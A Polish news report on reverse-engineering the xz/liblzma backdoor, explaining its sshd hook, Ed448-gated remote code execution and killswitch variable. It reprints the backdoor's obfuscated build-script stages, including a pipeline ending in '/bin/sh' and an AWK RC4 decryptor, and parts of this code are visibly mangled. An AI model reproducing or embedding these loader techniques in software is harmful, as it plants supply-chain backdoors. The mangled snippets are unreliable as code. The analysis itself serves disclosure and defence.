Dostępne są wstępne wyniki inżynierii wstecznej złośliwego obiektu, wbudowanego w liblzma w wyniku kampanii promowania backdoora w pakiecie xz. Backdoor dotyczy wyłącznie systemów x86_64 opartych na jądrze Linux i bibliotekach C Glibc, w których do sshd stosowany jest dodatkowy patch, który łączy się z biblioteką libsystemd w celu wsparcia mechanizmu sd_notify. Początkowo zakładano, że backdoor pozwala na obejście uwierzytelniania w sshd i uzyskanie dostępu do systemu przez SSH. Bardziej szczegółowa analiza wykazała, że tak nie jest i backdoor oferuje możliwość wykonania dowolnego kodu w systemie, nie pozostawiając śladów w logach sshd.
W szczególności, funkcja RSA_public_decrypt przechwytywana przez backdoora sprawdza podpis hosta z użyciem stałego klucza Ed448, a w przypadku pomyślnej weryfikacji wykonuje przesłany przez zewnętrzny host kod za pomocą funkcji system() na etapie przed wycofaniem uprawnień przez proces sshd. Dane zawierające kod do wykonania są wydobywane z parametru „N” przekazywanego do funkcji RSA_public_decrypt (pole „n” ze struktury rsa_st, zawierającej przekazany przez zewnętrzny host klucz publiczny), są weryfikowane za pomocą sumy kontrolnej oraz odszyfrowywane z pomocą ustalonego klucza ChaCha20 na etapie przed weryfikacją cyfrowego podpisu Ed448.
Jako sygnał do aktywacji backdoora w sshd używany jest standardowy mechanizm wymiany kluczy hosta. Backdoor wykorzystuje to, że certyfikaty OpenSSH zawierają klucz publiczny osoby, która wygenerowała podpis, i reaguje tylko na klucz przygotowany przez napastnika i odpowiadający ustalonemu stałemu kluczowi Ed448. Jeśli weryfikacja podpisu za pomocą klucza publicznego nie przechodzi lub integralność danych do wykonania nie jest potwierdzana, backdoor zwraca sterowanie do standardowych funkcji SSH.
Ponieważ klucz prywatny napastnika jest nieznany, niemożliwe jest zrealizowanie kodu weryfikacyjnego, który umożliwiłby osobom trzecim aktywowanie backdoora i wdrożenie skanera skompromitowanych hostów w sieci. Badacze przygotowali skrypt demonstrujący technikę podstawiania klucza publicznego z dowolną zawartością do przekazywanego przez klienta SSH certyfikatu OpenSSH, który będzie przetworzony w przechwyconej przez backdoora funkcji RSA_public_decrypt.
Badacze zauważyli również obecność mechanizmu neutralizującego backdoor (killswitch) w lokalnym systemie przy ustawionej przed uruchomieniem sshd zmiennej środowiskowej „yolAbejyiejuvnup=Evjtgvsh5okmkAvj”.
Dodatkowo można zauważyć szczegółową analizę konstrukcji shellowych, używanych do zmylenia procesu wydobywania pliku obiektowego z backdoorem i jego wstawiania do biblioteki liblzma. Podczas budowy pakietu xz z skryptu build-to-host.m4 uruchamiano kod, który znajdował wśród plików testowych archiwum bad-3-corrupt_lzma2.xz, zastępował w nim niektóre znaki, przekształcał w niezniszczone archiwum i wydobywał z niego skrypt shellowy. gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’ gl_path_map=’tr «\t \-_» » \t_\-«‘
Otrzymany skrypt shellowy wydobywał fragmenty z zawartości archiwum good-large_compressed.lzma jeszcze jeden skrypt shellowy, pomijając określone sekwencje komendami head oraz tail, i zastępując znaki za pomocą komendy tr. ####Hello#### # kilka binarnych bajtów tutaj, ale ponieważ to komentarz, są ignorowane [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####
W rezultacie powstał dość skomplikowany i obszerny skrypt powłoki, wydobywający bezpośrednio plik z backdoorem z archiwum good-large_compressed.lzma, odszyfrowujący go i wbudowujący w liblzma. W skrypcie znajdowała się również implementacja mechanizmu wtyczek, pozwalająca później dostarczać dodatkowe komponenty wykonawcze poprzez umieszczanie nowych archiwów testowych, nie zmieniając good-large_compressed.lzma ani bad-3-corrupt_lzma2.xz, a korzystając z wyszukiwania po sygnaturze. W kodzie użyto również deszyfratora opartego na algorytmie RC4, zaimplementowanego w języku AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Źródło: opennet.ru
